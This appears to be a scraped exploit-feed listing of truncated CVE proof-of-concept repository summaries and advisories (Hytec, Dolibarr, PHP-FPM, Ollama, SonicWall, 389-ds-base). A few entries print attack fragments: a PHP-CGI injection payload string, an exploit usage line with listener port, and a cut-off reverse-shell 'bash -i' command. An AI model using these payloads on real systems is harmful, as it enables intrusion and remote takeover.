CVE-2022-36553-PoC

CVE-2022-36553 - Inyección Remota de Comandos no Autenticada en Hytec Inter HWL-2511-SS. Resumen Este repositorio contiene un script de shell reversa PoC para explotar CVE-2022-36553, una vulnerabilidad crítica en dispositivos Hytec Inter HWL-2511-SS. El script es una demostración práctica que...

cve-2023-30253

CVE-2023-30253 Descripción Dolibarr anterior a la versión 17.0.1 permite la ejecución remota de código por parte de un usuario autenticado mediante una manipulación de mayúsculas: ?PHP en lugar de ?php en los datos inyectados. Documentación CVE-2023-30253 Aviso de GitHub: GHSA-9wqr-5jp4-mjmh...

PHP-FPM-Remote-Code-Execution-Vulnerability-CVE-2019-11043-

CVE-2019-11043 1. Descripción de la vulnerabilidad Cuando Nginx maneja fastcgisplitpathinfo con solicitudes que contienen %0a, debido al salto de línea \n, PATHINFO se vuelve vacío. Y php-fpm tiene un defecto lógico al manejar PATHINFO vacío. Un atacante puede provocar una ejecución remota de...

exim-rce-cve-2018-6789

Exim RCE CVE-2018-6789 Learning Environment Description This is a set of files, scripts, notes, ... to set up an environment to investigate the Exim RCE CVE-2018-6789. It can be used to debug Exim, write exploits, trace Exim function calls, learn about Exim's custom memory management storeblocks,...

watchTowr-vs-WatchGuard-CVE-2025-9242

watchTowr-vs-WatchGuard-CVE-2025-9242 Detection Artifact Generator for WatchGuard CVE-2025-9242 https://github.com/user-attachments/assets/097f099b-ba60-4223-adea-04279570460f See our blog post for technical details Detection in Action root@kitploit: python watchTowr-vs-WatchGuard-CVE-2025-9242.p...

git-lfs-RCE-exploit-CVE-2020-27955-Go

Exploit de ejecución remota de código RCE en Git-lfs CVE-2020-27955 versión Go Vulnerable: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken, etc. Descubierto por Dawid Golunski https://legalhackers.com https://exploitbox.io Probado en Windows en: git, GitHub...

2017-11882_Generator

CVE-2017-11882 Existe una vulnerabilidad de ejecución remota de código en el software de Microsoft Office cuando el software no logra manejar correctamente objetos en memoria. Un atacante que explotara con éxito esta vulnerabilidad podría ejecutar código arbitrario en el contexto del usuario...

CVE-2020-9484

CVE-2020-9484 Haga clic en la imagen para ver el video Uso Hágalo ejecutable root@kitploit: chmod +x CVE-2020-9484 root@kitploit: ./CVE-2020-9484 http://10.10.10.10./8080/ 10.10.1.1 4444...

CVE-2023-22518

CVE-2023-22518 Exploit Description This repository contains an exploit script for CVE-2023-22518. The script allows for unauthorized file uploads, potentially leading to remote code execution or other security vulnerabilities. Disclaimer This repository is for educational and informational purpos...

Python-exploit-CVE-2020-25213

Descripción El plugin File Manager wp-file-manager anterior a la versión 6.9 para WordPress permite a atacantes remotos cargar y ejecutar código PHP arbitrario porque renombra un archivo de conector elFinder de ejemplo inseguro para que tenga la extensión .php. Esto, por ejemplo, permite a los...

CVE-2024-4577-nuclei

CVE-2024-4577-nuclei Carga útil: root@kitploit: ?%ADd+allowurlinclude%3d1+%ADd+autoprependfile%3dphp://input root@kitploit: URL de prueba: root@kitploit: /unfxu9a.phppayload /php-cgi/unfxu9a.phppayload /cgi-bin/php-cgi.exepayload /php-cgi/php-cgi.exepayload /php-cgi/php.exepayload...

CVE-2026-80129

Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Limitation of a Pathname to a Restricted Directory 'Path Traversal' vulnerability. An unauthenticated attacker with remote access could potentially exploit this...

CVE-2026-80131

Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Limitation of a Pathname to a Restricted Directory 'Path Traversal' vulnerability. An unauthenticated attacker with remote access could potentially exploit this...

CVE-2024-37032_CVE-2024-45436

CVE-2024-37032 y CVE-2024-45436 Ollama RCE CVE-2024-37032 CVE-2024-45436 Debe ejecutarse en Linux, el entorno necesita tener gcc. Instale golang y ejecute el siguiente comando para obtener una shell reversa: root@kitploit: go run main.go -target http://127.0.0.1:11434/ -exec "bash -i &...

rapid7-CVE-2026-15409

CVE-2026-15409 This repo contains a proof-of-concept exploit for CVE-2026-15409. It establishes non-root remote code execution on SonicWall SMA 1000 by implementing the Erlang protocol expected by localhost:1050 and tunneling it through the websocket for file r/w and arbitrary code execution via...

CVE-2026-18355 389-ds-base: 389-ds-base: heap buffer overflow via sasl wrapped-record length lower-bound underflow in sasl_io_start_packet()

A heap buffer overflow flaw was found in the SASL I/O layer of 389 Directory Server 389-ds-base. In sasliostartpacket, the wrapped-record length read from the wire is validated only against an upper bound. A small wire length 0, 1, or 2 produces an encryptedbuffercount below the already-consumed...

CVE-2026-18355 389-ds-base: 389-ds-base: heap buffer overflow via sasl wrapped-record length lower-bound underflow in sasl_io_start_packet()

A heap buffer overflow flaw was found in the SASL I/O layer of 389 Directory Server 389-ds-base. In sasliostartpacket, the wrapped-record length read from the wire is validated only against an upper bound. A small wire length 0, 1, or 2 produces an encryptedbuffercount below the already-consumed...

CVE-2026-18355

A heap buffer overflow was found in the SASL I/O layer of 389 Directory Server (389-ds-base) . In sasl_io_start_packet(), the wrapped-record length is validated only against an upper bound; a small wire length (0, 1, or 2) causes an unsigned subtraction underflow in sasl_io_read_packet(), request...

EUVD-2026-72455

A heap buffer overflow flaw was found in the SASL I/O layer of 389 Directory Server 389-ds-base. In sasliostartpacket, the wrapped-record length read from the wire is validated only against an upper bound. A small wire length 0, 1, or 2 produces an encryptedbuffercount below the already-consumed...

CVE-2026-18355

A heap buffer overflow flaw was found in the SASL I/O layer of 389 Directory Server 389-ds-base. In sasliostartpacket, the wrapped-record length read from the wire is validated only against an upper bound. A small wire length 0, 1, or 2 produces an encryptedbuffercount below the already-consumed...